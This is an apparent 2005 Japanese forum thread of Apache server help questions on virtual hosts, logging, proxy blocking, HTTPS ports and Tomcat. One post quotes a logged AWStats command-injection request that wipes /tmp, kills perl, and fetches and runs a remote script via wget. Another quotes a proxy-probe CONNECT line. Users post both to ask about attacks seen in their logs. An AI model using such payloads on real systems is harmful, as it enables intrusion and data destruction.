とりあえずhosts触るか内向けDNS立てるかして出直して来い。
というか、君には鯖は無理だよ。
その名前、例えじゃないとか? hosts書いた方がいいと思うが・・
やりなおしました。
NameVirtualHost 192.168.2.31
<VirtualHost 192.168.2.31:80>
DocumentRoot C:/home2
ServerName home2.localhost
</VirtualHost>
hostsに
127.0.0.1 localhost
192.168.2.31home2.localhost
こう書いてみました。
>>615 例えじゃないです。
>>616 でできたみたいです。ありがとうございました!
アクセスログにCONNECT 1.3.3.7:1337 HTTP/1.0" 200 992 とあるのですが、 200が返っているという事は、接続されてるってことでしょうか? Googleとみんな405返している所が多いので気になりました・・・。
620 :
DNS未登録さん :2005/05/08(日) 07:14:39 ID:jq1JjBss
全ページに自動で広告を表示させるには、どうしたらいいですか?
622 :
DNS未登録さん :2005/05/08(日) 08:47:39 ID:P0Sm+549
623 :
DNS未登録さん :2005/05/08(日) 10:11:24 ID:LtJoNXCQ
Apache/2.0.50(Vine Liux3.1)PHP4.3.10+PHPAの環境なんですが エラーログに以下のPHPAのログが多いのですが対処法はわかりますでしょうか? PHPAのフォーラムが見られないので、ちょっと詰まってます。 [Sun May 08 09:01:53 2005] [notice-phpa] Acquiring cache : uid 48 gid 48 perms 666 (pid 1373) [Sun May 08 09:01:53 2005] [notice-phpa] PHPA 1.3.3r2 on linux_i686_glibc2.1.3 (pid 1373) [Sun May 08 09:01:53 2005] [notice-phpa] Initialised 8MB cache at 0x41566000 with 512 process entries (pid 1373) [Sun May 08 09:01:53 2005] [notice-phpa] Lock thresholds 10/10 (pid 1373) 以下、時間はバラバラで繰り返しです。
624 :
DNS未登録さん :2005/05/08(日) 11:35:56 ID:y3WOjxGq
625 :
ラブ天使 :2005/05/08(日) 12:50:04 ID:YoLwa16Y
626 :
ラブ天使 :2005/05/08(日) 12:50:51 ID:YoLwa16Y
627 :
623 :2005/05/09(月) 15:08:25 ID:???
くだ質イッテキマス
628 :
DNS未登録さん :2005/05/09(月) 16:26:16 ID:4aSBuVNS
FreeBSD使ってるんですが、Apache1.3をアップデートするにはどうすればよいのでしょうか? 後、動的にバーチャルホストを変更する方法も教えて下さい・・
630 :
DNS未登録さん :2005/05/10(火) 17:47:07 ID:l9wDlDdY
エラーログをとらないようにするには # ErrorLog: The location of the error log file. # If you do not specify an ErrorLog directive within a <VirtualHost> # container, error messages relating to that virtual host will be # logged here. If you *do* define an error logfile for a <VirtualHost> # container, that host's errors will be logged there and not here. # #ErrorLog logs/error.log ってコメントするだけじゃだめなの? コメントして再起動しても、しっかり記録されるんだけども、 これは仕様なのか!?
仕様かどうかはドキュメントを見てください。ちゃんと書いてあります。
1週間に1回ログを分割したいんですけどhttpd.confの記述例教えてください
ログで思い出したけど Apacheのログローテ access_%Y%m.log\" 2592000 で30日毎に設定するとバグるの俺だけ? 例えば今からApacheリスタートしたとしたら200504になるんですけど
ばーじょんすらかかないんだもんな
/awstats/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20www.suxehacker.home.ro/sess_3539283e27d73cae29fe2b80f9293f59;perl%20sess_3539283e27d73cae29fe2b80f9293f59;echo%20;echo| ↑のアクセスがあったんだけど、これって どのVersionのawstatにも有効な技なのかな?
>>636 awstatsのセキュリティホールをつつく攻撃。
きちんとawstatsをアップデートしてあるか、
そもそもインストールしていなければ何の問題もない。
>>635 Apache2.0.53(Win32)
639 :
DNS未登録さん :2005/05/14(土) 15:13:57 ID:Afwb1nDR
apache2なんですが、アクセスログでリファラとユーザエージェントが取得できません。 LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined LogFormat "%h %l %u %t \"%r\" %>s %b" common LogFormat "%{Referer}i -> %U" referer LogFormat "%{User-agent}i" agent SetEnvIf Remote_Addr 192.168.1. no_log CustomLog logs/access_log combined env=!no_log 設定としてはこれぐらいです。何かマズイですか? ちなみに CustomLog logs/referer_log referer CustomLog logs/agent_log agent これも記述してみましたが、どちらのログも生成されません。 どこをどうしたらよいでしょうか?
>639 ・refererとユーザエージェントが出ない状態のログを晒せ。 ・"logs/referer_log" と "logs/agent_log" というファイルをtouchで作り、 所有者をwww(httpdの実行ユーザ)にしておきな。
ログファイルが無ければ勝手に作られるはずだから もしかしてディレクトリの書き込みパーミッションがおちているとか
誰かPHP5.0.4+Apache2.1.3+eAccelerator0.9.2で鯖立ててる人いないかなぁ。 eaccelerator.check_mtimeは1だけどファイルを更新しても反映されない んだけど同じ症状の人いないでしょうか?。
>>640 どもどもです。ログはまったくcommonの状態です。
refer_logもagent_logだけで書き出すようにみしてみましたが、生成されませんでした。
権限はまだいじってないので、今度試してみます。(今サーバがないので…)
Windows+Apacheだと普通にリファラもエージェントも書き出されたので、
やっぱり権限あたりが問題なのでしょうかね。
/var/log/に書き出されてるというおちとか
>>644 いえ、ログはちゃんと書き出されるんです。
user-agentとreferer抜きで。。。
restartしてないんじゃない
Apache2系使ってるんですけど、プロキシ経由でのアクセス拒否って出来ますか?
串がちゃんと名乗ってればできる
>>650 (1) プロキシ経由だときちんと名乗る(Via:ヘッダ)Proxyサーバであればできる
(2) (1)でなくても、オープンプロキシ(インターネット向けに公開されている
匿名化目的のプロキシ)かどうかの判断は曖昧ながらできる(2ちゃんねるで
使われている方法がこっち)。
653 :
DNS未登録さん :2005/05/15(日) 21:48:45 ID:kgifoslS
久しぶりに起動したら、あなたの予想に反して、このページ・・・・となってしまします $ /usr/local/apache/bin/apachectl start [alert] httpd: Could not determine the server's fully qualified domain name, using 192.168.0.3 for ServerName httpd.confが怪しいと思うのですが、どこを直せば良いかわかりません。 192.168.0.3はこのPCのPvIPです
>>653 サーバーの名前がわかんねぞゴルァって言ってる
>>650 Cybersyndromeにあるプロキシ情報を片っ端からアクセス拒否すればいいじゃん
それはわかっております。
いえいえ、想定の範囲内ですよ。
hp-ux11.0 apache2.0.49 ログをみたら、下記のエラーがありました。 これは何でしょうか。 [Sun May 15 17:18:25 2005] [error] [client IP_ADDRESS] Directory index forbidden by rule: /mnt/apache/
そのまんまですね
>>659 パーツを教えてやるよ
Directory ディレクトリ
index 索引 見出し インデックス
forbidden forbidの過去分詞 禁じる 許さない
by によって
rule ルール 規則
/mnt/apache/ ディレクトリ名
訳すと、”規則によってディレクトリ索引が許されていない” ということでしょうか。 index.htmlがないと出るエラーということでよろしいでしょうか。
よろしい
上記はアクセス権限がありませんでした。 もう一つ質問があるのですが、apacheでphp+oracleを使えるようにするには oracle8ではoracle8CLIENTなるものをインストールしなければoci関数とやらを使用できない のでしょうか。
上記はアクセス権限がありませんでした。 もう一つ質問があるのですが、apacheでphp+oracleを使えるようにするには oracle8ではoracle8CLIENTなるものをインストールしなければoci関数とやらを使用できない のでしょうか。
ここにおわすのはお役に立つことができませんおクズばかりでございますね。 もうよろしゅうございます。
そのレスは想定の範囲内です。
669 :
DNS未登録さん :2005/05/18(水) 19:00:22 ID:A6iNr9Qh
httpd.confでhostnameのlookupをoffにしてあるにも拘らず、 何故か、access.logを確認するとIPアドレスではなく、ホスト名で ロギングされているディレクトリがちらほら、ちなみにホスト名で参照先してる ディレクトリは学科内利用者貸し出してる特定のディレクトリ、 (doc rootは全てIPアドレスでロギングされてました) .htaccessを設置しているようなのですが、htaceessでDNS lookupをon に出来るなんて聞いたことありません、何か特殊なスクリプトでも併用 しているのでしょうか? 以下構成 *Windows 2000 Server (SP4) + Apache 2.0.54 + PHP 4.3.11 + SQL Server 2000 *各アカウント毎で自由に .htaccess/CGI の設置を許可
>htaceessでDNS lookupをonに出来るなんて聞いたことありません、 つまりドキュメントを読まずに聞いてるってことですね。 ちゃんと書いてあるのに。
>>669 rootで該当ディレクトリの.htaccessを覗いてみなせえ
673 :
639 :2005/05/18(水) 23:43:32 ID:???
>>640 その後、パーミッションも全開にしてみたり、所有者をFTPユーザやnobodyにしてみたり
色々やってみたのですが、てんで効果がありません。不思議なことに、別の場所に
ログを書き出してみようともしてみたのですが、必ず/var/log/httpd/に書き出されて
しまいます。httpd.conf以外でログなどの設定をする場所があったりしますか?
>>673 そりゃ複数個所にapacheがインストールされてて起動してないほうのconfいじってるんじゃないか?
find / -name httpd.conf ってやってみ
それか非標準のconfファイルを読み込む設定で起動してるとか
あちこちにあるんだろ そんで、/etc/init.d/ から起動してるから どれがあがってるかろくにしらべてない、と
677 :
676 :2005/05/19(木) 10:26:08 ID:???
>>372 を書いたのはオイラだからびっくりしたじゃまいかー(´・ω・`)
2chも無駄なくメモリを使ってるかもしれないw
>>679 ぎくっとしたじゃまいか。。。
串規制は何とかなりそうだけど、広告規制のほうだよなぁ。。。
rh9で httpd-2.0.54 をソースからビルドしています。 $ ./configure --prefix=/usr/local/httpd-2.0.54/ --enable-rewrite --enable-ssl --enable-so --with-mpm=prefork なぜか、IEでアクセスした場合に読み込みが遅くなります。 Firefoxでは早く表示されます。 エラーログには何も記録されてないですし、サーバには負荷が かかっておりません。 ナゼでしょう
テーブルが中途半端なんじゃないの? 単純なhtmlでも同じ?
ほんと単純なものだと変わりません。 画像が含まれていると、表示(読み込み?)に時間がかかります。 キャッシュをクリアにしましたがやはりIEは遅いです。 テーブルは問題ありません。
Apacheの設定でHostnameLookups Offになってるのに ログがホストで出力されるのはなぜ?
あと、アクセス制限をドメインでかけてたりしないか
>>685 いや今回初めてこの症状になりました。
一応特定のIPを範囲でアクセス制限かけるために.htaccessはおいてます
何かのモジュールが逆引きしたついでに親切に再利用できるように保存でもするのかな?
690 :
DNS未登録さん :2005/05/20(金) 13:03:51 ID:wUr1C3k3
>>674 ありがとうございました!大正解ですた。。。
どうも鯖管がムチャしてるみたいでhttpd.confが3つも出てきました。。。
おかげさまで、無事にリファラもエージェントも取得することができました!
本当に感謝感謝です。<(_ _)>
さらに便乗して質問なのですが、ログに関して
/home/xxx.com/index.htm
のログが
indx.htm
になってしまっているのですが、これを
xxx.com/index.htm
と表示させることはできるのでしょうか?
現在バーチャルホストが何個もあって何がなにやらわからないので、
とりあえずログは1箇所でまとめて、生きてるサイトと死んでるサイトを
見極めたいのでございまする。
なにとぞお力をお貸し下さい。
691 :
DNS未登録さん :2005/05/20(金) 13:09:32 ID:wUr1C3k3
さらに質問です。。。 例えばvirtualhostのうち xxx.comとyyy.comのログを1つに、aaa.jpとbbb.netのログは1つに、 といったようなことはできるのでしょうか? virtualhost設定内で同じ場所にログを書き出すようにするだけで OKなのでしょうか?まったく鯖は素人なものですいません。。
やってみればわかる
ログサイズが一定値を越えたら別ファイルに退避とかってできませんか?
loglotateでググってくんさい
>>694 FreeBSDならnewsyslogだ。
本質的にはapacheが原因ではないかもしれませんが質問させて下さい。
apache1.33.3で、httpを一切禁止してhttpsだけで運用しようと思い、
http:888 (ただしport888はfwを通過できない)
https:80 でlistenする設定にしました。
これで、 イントラ側から `
https://192.168.0.254:80` でちゃんとコンテンツが見えている
のは確認しました。しかし、 `
https://hogehoge.net:80` だと
「サーバーが見つからないか、または DNS エラーです。」
と言われてしまいます。ちなみに `
http://hogehoge.net:80` だと
Bad Request
You're speaking plain HTTP to an SSL-enabled server port.
と言われるので、名前解決は問題なくて、鯖のport80でhttps待ち受けが出来てる事も間違いないと
思うんですが・・・
>>697 おそらくそれは違う。
>>696 こったことしないでまずはhttpsを443で待機させて表示できることを確認せよ。
まぁキーをつくってないとそんなんだと思うんで。
× まぁキーをつくってないとそんなんだと思うんで。 ○ まぁキーをつくってないとかそんなんだと思うんで。
>>698 えっと、経緯を説明すると、
それまでは普通にhttp:80、https:443で運用していて、防火壁の内部外部からとも問題なく
コンテンツを参照できていました。
ただ、どうしても443を他の目的で使う必要が出来たので、http:888、https:80に移そうと考え
た次第です。なので、設定を変えるまでは443で使えていました。
キーを作ってないとかだと、そもそも "
https://192.168.0.254:80/ " も通らないんじゃないか
という気が・・・
>>701 いやだから出来てましたってば (;´Д`)
で、解決しました。結果から言うと私のチョンボでした(´・ω・`) ゴメン
オミトロをバイパス設定にしてたんだけど、それでもオミトロを経由させたらアクセス出来なく
なってたみたい(IEの設定でローカルアドレスは串を通さない設定にしてたのでIP直指定
だと問題なかった)
もしかしてオミトロに限らず、串を経由する場合は "
https://hogehoge:80/ "だとダメな
んかな?いずれにせよapacheは無実ってことで。スマソ
(先ほどスレを間違えて書いてしまったので、再度本スレで 質問させていただきます) ソースからApacheをインストールしてWebminに設定 したのですが、下記のエラーが出ました。 Apacheサーバの実行可能ファイル/usr/local/apache/bin/httpd のバージョンを取得できませんでした しかし、Webminのモジュール設定にある「Apacheのバージョン」 の欄に何を指定して良いかわかりません。。(今までは自動でOKでした) ご存じの方はいないでしょうか? 環境はApache2.0.49+CentOS4.0です。
>>704 Webminのモジュール設定にある「Apacheのバージョン」
の欄に何を指定して良いかわかりません。。(今までは自動でOKでした)
ご存じの方はいないでしょうか?
>>702 典型的な馬鹿だな。これからも苦労するでしょうな。
>>706 まあまあ
そうやって人は成長していくものですし
馬鹿に馬鹿って言われたくないよね(´・ω・`)
なんだとぉ(^_^;)
710 :
DNS未登録さん :2005/05/25(水) 13:27:40 ID:Cmf+ZYb8
Tomcatの質問なのですが、
現在ApacheとTomcatを連携させようとしています。
Apacheとポートが重ならないように、server.xmlを編集し、
Tomcatが普段8080番ポートで待っているところを、
8088番ポートで待つように改変しました。
それからTomcatの動作チェックの為にブラウザからアクセスしてみたところ、
http://localhost:8080/ は見ることが出来るのですが、
http://localhost:8009/ はページを見ることができず、
Tomcatのコンソールウィンドウには、
「致命的: BAD packet signature 18245」
と表示され、Tomcatがエラーを起こしてしまいます。
解決方法等ご存知の方がいらっしゃいましたら、ご教授願います。
OS: WindowsXP
Apache 2.0.53
Tomcat 5.0.16
711 :
710 :2005/05/25(水) 13:28:48 ID:Cmf+ZYb8
server.xmlがあやしいっす
馬鹿ばっか
714 :
DNS未登録さん :2005/05/26(木) 09:46:05 ID:Hd2HObGV
チューバッカ
suexec,sboxやcgiwrap以外のwrapperはないんですかね?
自分で作る
/etc/passwd等のファイルをcgiで見れなくしたりするにはどうすればいいんでしょう。 chrootでjailした場合はperl等を各ユーザーにコピーしてやらないといけないので避けたい。
cgiが自分で判断して表示しないようにする
716へループ?
apache の設定や version の違いで、 CGI で別サイトの html を取り込むことに問題が発生する場合ってありますか? Apache/2.0.54(UNIX) では可能なんですが、Apache/1.3.33 (Cygwin) ではできません。
そりゃあるだろ。 mod_cgi をロードしてないとかいうような豪快な設定ミスとか。 困ってるなら情報を小出しにするな。
722 :
720 :2005/05/30(月) 23:19:00 ID:???
>>721 ありがとうございます。
同一言語の別の CGI は問題なく使えています。
外に取得にいくスクリプトだけが、違う動作をします。
FW 関係の問題でないことは確認済みです。
access_log は 200 が返っています (Firefox1.0.4でアクセス)
error_log には以下の様なログが残っていますが、関係あるのかよく分かりません。
[Mon May 30 22:53:52 2005] [notice] child pid 332 exit signal User defined signal 2 (31)
スクリプト末尾に以下のものを付加しておくと表示されるのですが、データの取得ができていません。
print "Content-type:text/html\n\n"; print "done.\n";
スクリプトをコンソールで動かした時は、ちゃんと取得できています (Warning等の警告も一切無し)
必要な情報がどういったものかよく分からないので、不快にさせたのならごめんなさい。
そういうときはエラーログ
724 :
720 :2005/05/31(火) 00:29:30 ID:???
LogLevel を info や debug に変えてみましたが、
>>722 と変わりありませんでした
また、ScriptLog を設定してみましたが、全くログに出力がありませんでした。
趣味で動かしているだけなので、あまり困っている訳ではないですが、
もし、関係ありそうな情報を知っている方がおりましたら、何時でも良いので宜しくお願いします。
動くほうと動かないほうはどちらも同じユーザー? suEXEC使ってるとか、httpd.conf のUserが違うとかない?
Apache1.3.33+Windows2000です アクセスログの時刻をUTC(世界標準時刻)で出力したいのですが可能でしょうか 具体的には、現在の時刻−9時間をログに記録したいのです 現在のログフォーマットは次のようにしています LogFormat "%{%Y-%m-%d %T}t %a ... " combined (access.log) 2005-05-31 10:52:45 192.168.11.1 ... ↓ 2005-05-31 01:52:45 192.168.11.1 ... としたいんです どなたかご教授願います
727 :
DNS未登録さん :2005/05/31(火) 14:23:55 ID:fgNE9SX1
FilesMatch(Files ~)ディレクティブでの質問です。
http://hoge.com/hoge/ http://hoge.com/hoge/?id=10000 この2つにマッチさせようと、Apache2.0.54では以下のようにし、正常に動作していました。。
FilesMatch "^$"
FilesMatch "^\?.*$"
これをApache1.3.33にそのまま持っていった所、マッチングしなくなりました。
FilesMatch "^index\.php$"では動いているので、Coreで処理できていない訳ではなさそうです。
Files ~ "^$"も試しましたが出来ず。
他に正しい指定方法があるのでしょうか。
どなたか教えてください。
?id=10000 というファイルが実際に存在してるのならともかく、 存在してないのならば <FilesMatch> でマッチしない方があたりまえのような気が。 そういう場合は <LocationMatch> を使う。
729 :
720 :2005/05/31(火) 22:11:45 ID:???
別の言語で簡単なクライアントを書いてみたところ、やっぱり駄目でした。
CGI を弄って例外を補足してみたりしてみたところ、
Socket を作成の付近で Operation not permitted socket というエラーがでていました。
調べてみたら、これは最近の Cygwin の問題だったようです。
cygwin-1.5.16-1 から 20050528版の snapshot に cygwin1.dll を更新したら、
問題は発生しなくなりました。ありがとうございました。
# 参考::
ttp://fenrir.naruoka.org/archives/000391.html
730 :
727 :2005/06/01(水) 13:06:48 ID:4MHflzat
>>728 回答ありがとうございます。
htaccessでの処理をしたいと思っているためLocationの使用は考慮しませんでした。
したい処理はこんな感じです。
・index.phpではidというGET値を受け取ることが出来るため、
URIとして/hoge/?id=10000(任意)を使っている場合がある
・DirectoryIndexにてindex.phpが指定されているため、
URIとして/hoge/を使っている場合がある
上記条件下で、index.phpのみに全てのアクセスを許可したいと思っています。
そのほかのファイルには特定IPからののみのアクセスを許可しています。
order deny,allow
deny from all
allow from [[IP]]
・
<FilesMatch "^index\.php$">
allow from All
</FilesMatch>
これだけだと、/hoge/?id=10000ではアクセスがdenyされます。
どなたか解決策をお持ちの方、お願いします。
apt-get install apache では終了後にあぱっちぇデフォルトページが開けるのに apt-get install apache2 では出来ない。何か間違えてるんでしょうか? apache2の方はapacheに比べてずいぶん処理が速いけど もしかして差分ファイルですか?
732 :
731 :2005/06/03(金) 07:13:47 ID:Z7Y1sx0L
どうやらディストリがdebianだった為に apache2が仮想パッケージ(って何か知らないけど)としてしか存在せず apt-get install apache2ではインストール出来なかったようです。 debian(debian-testing-i386-businesscard.iso)をインストール後に、 apt-get --purge remove apache apt-get apache2-apache2-mpm-prefork としてapache2.confを設定したのですが、ここで解説サイトに書かれている次の手順の # /etc/init.d/apache2 restartができません。 Not startingと言われるのでどうやらapacheが起動していないようですが、 起動コマンドとしてWEB上で紹介されていたコマンドを入力しても そのようなファイルやディレクトリが無いと言われます。 解説サイト通りにやっているのですが・・どなたか教えて頂けませんか。
世も末だね・・・
735 :
DNS未登録さん :2005/06/03(金) 14:34:01 ID:v844mAG8
VineLinux3.1 上の apache2( httpd-2.1.3-beta )でdumpioモジュールを使って入出力データをダンプしようとしてるんですが、 httpd.confに DumpIOInput On と記述してもエラーログに出力できません。 うまくいった方いますか?
<Directory /> Options FollowSymLinks AllowOverride None SetEnvIf REFERER "192.168.1.6" okref SetEnvIf REFERER "^$" okref Order deny,allow Deny from all Allow from env=okref Allow from 192.168.1.2 </Directory> すべてのディレクトリーに対しての設定で 192.168.1.2からのアクセスのみ許可して なおかつ、リファが192.168.1.6の場合と無い場合を 許可するなら上記のような書き方であってますよね?
>>736 で、試してみて動かなかったから質問してるんですか?
>>737 その通りです。
Apache2で試したのですが
接続元の制限はちゃんとできてるみたいですが
リファがちゃんと働いてないみたいなのです。
ダウンローダーのリファ偽装機能使って試しました。
ノートンが邪魔してるとか
PHPのerror_log()関数からapacheのerror_logに、 メッセージを出力しているのですが、 error_logを見ると文字化け?(16進表示)されてしまいます。 これはPHPの設定が問題なのでしょうか? それともApacheの設定が問題なのでしょうか? ネットで1週間調べましたが、見つかりませんでした。 よろしくお願いします。 -PHPソース error_log("2ちゃんねる"); -Apacheログ [error] \xa3\xb2\xa4\xc1\xa4\xe3\xa4\xf3\xa4\xcd\xa4\xeb -バージョン PHP 4.3.11 Apache 1.3.27
文字コード
742 :
DNS未登録さん :2005/06/06(月) 00:22:17 ID:WSMfJZcf
>>741 レスありがとうございます。
PHPはApacheの組込みモジュールとしてインストールしていまして、
インストール時に、
./configure --with-apxs=/usr/local/apache/bin/apxs --enable-mbstring
と指定してインストールしたのですが、これだけではいけないのでしょうか?
よろしくお願いします。
そういうふうに非 ASCII 文字をエスケープするように わざわざソースを書いてるんであきらめてくだされ。
スレ違いかわからないのですが、質問させてください。 うちの会社でRedHat+Apacheでサーバを立ててまして、社内の他のPCも同じ回線を 使って外部に接続したりしていました。これはさすがにということで、回線をもうひとつ増やし、 A回線はサーバ専用、B回線は社内でLANを組んでネットに、ということにしたいのですが、 これではFTPなどが外部経由になってかなり重くなってしまいます。 そこで、この2つのネットワークを繋いで、社内PCは FTPは内部からApacheサーバに ネット接続はB回線を使って ということをしたいのですが、これは可能なのでしょうか? ネットワークの知識が乏しく困っておるのですが、例えばB回線に使用するルータを A回線のApacheにも繋いで FTP 社内PC ←→ B回線ルータ ←→ Apache ←→ A回線 ↓ 外部へ こんなことってできるのでしょうか? 実験したくてもサーバを止めるわけにも行かず。。。
自作サーバではないので板違いだが丁寧に書いているようなので答えてあげよう。
>>745 それぞれA,Bの回線が別々のグローバルIPアドレスを取得することになるはず
(特例的に連続したアドレスをもらえることもあるが運に頼ることになる)
なので、そのまま繋げるのは現実的ではないな。
社内からApacheサーバにアクセスする際にApacheサーバのグローバルIPアドレスを
指定する必要がない(=別のアドレスに変えても問題ない)とすれば、
ApacheサーバにLANカードをもう1枚、計2枚差してftp社内接続用の線を確保すること
ができるはず。
具体的には、Apacheサーバに差した新しいほうのネットワークカードに社内LAN側の
何らかのアドレスを割り振り、IPルータにしない (= /proc/sys/net/ipv4/ip_forward
に 0 を入れる) ようにすれば、それぞれで問題なく接続できる。
B回線ルーターが気のきいた物ならこんな感じでBでルーティングの設定するだけでいける 社内PC ←→ B回線ルータ ←→ HUB ←→ A回線 ↓ ↓ 外部へ apache
>>747 ルータ次第だな。
市販の安価な「ブロードバンドルータ」だと外部インターフェイス側の
ルーティング設定ができないものがあるので注意。
749 :
DNS未登録さん :2005/06/07(火) 00:34:46 ID:rA10bY9u
>>744 うんこしてきました。
けどやっぱり思い浮かびませんでした・・・。
うーん。
つまり、apacheのログに8ビットは無理、と
751 :
DNS未登録さん :2005/06/07(火) 09:13:09 ID:t8k4FdOh
B回線にルータを追加>B回線のルータがDHCPでIPとGW(B回線ルータのIP)を通知>サーバはA回線をGWに固定 これでサバとクラが同一セグメントなら解決できると思う ただ、業務で運用中のものならちゃんとコンサル受けないとそのリスクは個人持ちではまかないきれないよ
752 :
DNS未登録さん :2005/06/07(火) 11:42:36 ID:oFTZKZ6U
proxy内のサーバでブラウジングするにはproxyのパス指定が必要な環境 Apacheも外に出るにはProxyのパス指定がいりますか? 必要な場合、どのような作業が必要になりますか?
753 :
sage :2005/06/07(火) 12:45:20 ID:UObcIgCc
>752 ちょっと落ち着いて考えて 社内システムの情報書き込んでいるよ 串の目的や設定でいいわるい、できるできないがあるから このまま続けると大変なことになるよ この話は終了 SIerに頼んで下さい
さげ間違えた
>>752 # 電波はスルー
"Apacheも外に出る" とは?
何をしたいのだ?
756 :
DNS未登録さん :2005/06/07(火) 13:05:05 ID:UObcIgCc
たぶんwebサービスを外に解放することを言っていると思う 話からみて たぶん今からいじろうとしているシステムを理解していない
ヒント: 全角英数を使う馬鹿はスルー
758 :
DNS未登録さん :2005/06/07(火) 15:01:27 ID:uzRigYau
だってピッチの文字変換がダサイんだもん 半角にするのめんどくさい sageは半角で入れたけどだめだった 諦めるからもういい あげ
759 :
752 :2005/06/07(火) 18:39:27 ID:???
>>756 その必要はないってこと?
サーバアプリケーションには大概その設定がないから
それがプロトコルの差異なのか、外からのアクセスから故なのかわからないけど
いわゆるクライアント系のアプリには必ずあって
それを設定しないと外に出て行くことが出来ないじゃないですか
それが必要ないかどうか確認したいだけです
あああああ、頭が混乱する なんつー書き方だ・・・・
762 :
752 :2005/06/07(火) 19:57:48 ID:???
proxyサーバ経由するという意味なんですけど
>>756 さんの仰ることで間違いないです
763 :
752 :2005/06/07(火) 20:06:55 ID:???
そのサーバ、GIP持っているのにProxy経由する必要性が分からない・・・ ネットワークが異なっていてもproxyより中からはきちんと見られるんだけど 完全に外(internet)からは見られない だからそう言う設定があるのかとおもったけど サーバアプリケーションにもそう言う設定が必要なのかどうか
764 :
DNS未登録さん :2005/06/07(火) 21:15:15 ID:jlKMOfwy
話続けちゃうとサバの構成や運用が露呈しちゃうから終わりって言ったんだけど… サバのサービスもそうだけど切り離して一個づつ解決しないとまとまらなさそう。 聞いた分で個人的な見解を出すと、 串が単なる串として運用しているならクラ群用串を別に起てるのが楽 サバに関してはノーコメント って誰かこの人安全に誘導できなあい?
765 :
752 :2005/06/07(火) 22:36:30 ID:???
分かりづらくてすみません・・・
Apache2(Linux)のあるフォルダに接続する数を 制限したいんだけどどうすればいいのかな? mod_limitipconnは一つあたりのIPだけど、IPごとでは規制したくない
767 :
DNS未登録さん :2005/06/08(水) 12:40:14 ID:ASKe8Ka2
プロセス数の設定でクライアントの最大数を制限できたと思う
. ィ
.._ .......、._ _ /:/l!
>>767 :~""''.>゙' "~ ,、、''‐'、| (ry _
゙、'、::::::ノ:::::::_,.-=. _〜:、 /_.}'':,
``、/:::::::::__....,._ `゙'Y' _.ェ-、....._ /_゙''i゙ノ、ノ
,.--l‐''"~..-_'.x-='"゙ー 、`'-、 ,:' ノ゙ノブ
" .!-'",/ `'-‐'') /\ `/ でノ-〈
.-''~ >'゙:: ‐'"゙./ ヽ.,' ~ /
//::::: ', / ,:'゙
769 :
DNS未登録さん :2005/06/08(水) 16:10:26 ID:3NMjVYf8
>768 AA張られても 表示崩れてさっぱりわかんない
(ry の部分は「またまたご冗談を」
771 :
DNS未登録さん :2005/06/08(水) 18:34:30 ID:CbDVBS3H
AAの一部かと思った じゃそこだけでいいよ プロセスはセッションごとに派生するのでこれを制限すれば最大クライアント数を制限できる と、考えていたんだけど間違い?
1クライアントで何セッションも使わないか?
そもそも、あるディレクトリだけ という条件もあるし
>>773 そこがDocumentRootのプロセスを上げればよい。
でフロントエンドをかましてmod_proxyで振り分ける。
775 :
752 :2005/06/09(木) 00:47:08 ID:???
なんか、サーバ落ちてただけっぽいです。 無事繋がりました・・・。 なんだかなぁ。 ほんと、すんません。
落ちたことを調べられない、不具合をわかりやすく説明できない 勉強することはいっぱいあるネ
777 :
771 :2005/06/09(木) 12:42:43 ID:4YhSz/uX
勉強し直してくる
778 :
766 :2005/06/09(木) 23:00:39 ID:???
プロセス数を設定するのってサーバー全体で 解説してるサイトはあるが、フォルダごとに解説してるサイトが 見つからず・・・何方かご存知であれば教えて( ゚Д゚)ホスィ
780 :
DNS未登録さん :2005/06/09(木) 23:46:35 ID:wXRGXjIt
>>750 749です。
そうなんですかー。ショックです・・・。
>>781 フォルダごとに設定するのは無理って意味ですよね・・・?
<Directory /hogehoge> MaxClients 200 </Directory> って感じにできればいいんだけどな・・・ mod_limitipconn みたいなモジュールでないだろうか?
ディレクトリが判明するのはプロセスが起動してからじゃないのか
785 :
DNS未登録さん :2005/06/13(月) 08:53:20 ID:sYYYWhUO
仮にフォルダごとに設定できたとして、ネット上だとISPのアドレスで一括りされて正確なクラ数はわからないと思っているのは間違い?
間違い
787 :
質問です :2005/06/13(月) 22:21:09 ID:xczZGKET
質問です、javacでコンパイルしたclassファイルを、 ブラウザのアクセスより実行してcgiとして出力することは apacheの設定次第で出来ますでしょうか? たとえば、C++コンパイルして作った実行ファイルの拡張子をcgiに変えて ブラウザからアクセスすると出力されますよね、 javaの場合はこのようなことは出来ますでしょうか。
gcj
java hoge として実行するようなもの(スクリプト/バッチ)を作ってそれを実行させれば良いでしょ。 毎回JavaVMを起動するCGIなんて、正気の沙汰じゃないと思うけどな。
790 :
質問です :2005/06/13(月) 23:17:28 ID:xczZGKET
>>788 gcjで検索してみました。
どうやらjavaの実行形式生成コンパイラのようですね。
でもこれだと実行ファイル1つに固められてしまうためclassファイルのように
再利用は出来ないんですよね。検討したいと思います。
>>787 できます。mod_jkとかTomcatとかインスコしないとだめですが。
Tomcatとかで使うためには サーブレットとしてソースを修正し、コンパイルしなおさなきゃ駄目だろ。 質問にある、(C++のように)実行ファイルをそのままCGIにするのとは違う。 まあ、GCJ使ってもその点(再コンパイル)は同じだけど。
793 :
DNS未登録さん :2005/06/14(火) 17:25:21 ID:Dh/xzNyp
Free BSD5.3で、portsでapache2を入れましたが、 /usr/local/sbin/apachect1 start と入力してもhttpdデーモンが立ちあがってくれません(エラー表示なし)。 どうやったら立ち上がるでしょうか。教えてください。
(;゚д゚) ct1..? (つд⊂)ゴシゴシ _, ._ (;゚ Д゚) ct1だ。。 FreeBSDってそうなの?
795 :
793 :2005/06/14(火) 17:53:22 ID:Dh/xzNyp
ごめんなさい、入力間違えました。 × apachect1 ○ apachectl
796 :
DNS未登録さん :2005/06/14(火) 17:55:45 ID:CHUf7693
